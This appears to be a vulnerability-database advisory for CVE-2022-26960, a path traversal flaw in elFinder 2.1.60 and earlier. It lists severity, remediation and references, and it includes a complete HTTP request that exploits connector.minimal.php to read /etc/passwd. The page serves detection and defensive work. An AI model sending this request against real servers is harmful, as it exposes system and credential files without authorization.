🔙 목록으로 돌아가기

CVE-2022-26960: elFinder <=2.1.60 - Local File Inclusion

TitleelFinder <=2.1.60 - Local File Inclusion
Authorpikpikcu
SeverityCritical
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
RemediationUpgrade elFinder to version 2.1.61 or later to mitigate this vulnerability.
CVSS Score9.1
EPSS Score0.79151
CVE IDCVE-2022-26960
CWE IDCWE-22
Tags cve2022 cve lfi elfinder std42 vuln

🔍 Vulnerability Description

elFinder through 2.1.60 is affected by local file inclusion via connector.minimal.php. This allows unauthenticated remote attackers to read, write, and browse files outside the configured document root. This is due to improper handling of absolute file paths.

🌐 HTTP Request

GET /elfinder/php/connector.minimal.php?cmd=file&target=l1_<@base64>/var/www/html/elfinder/files//..//..//..//..//..//../etc/passwd<@/base64>&download=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-26960.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-26960.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A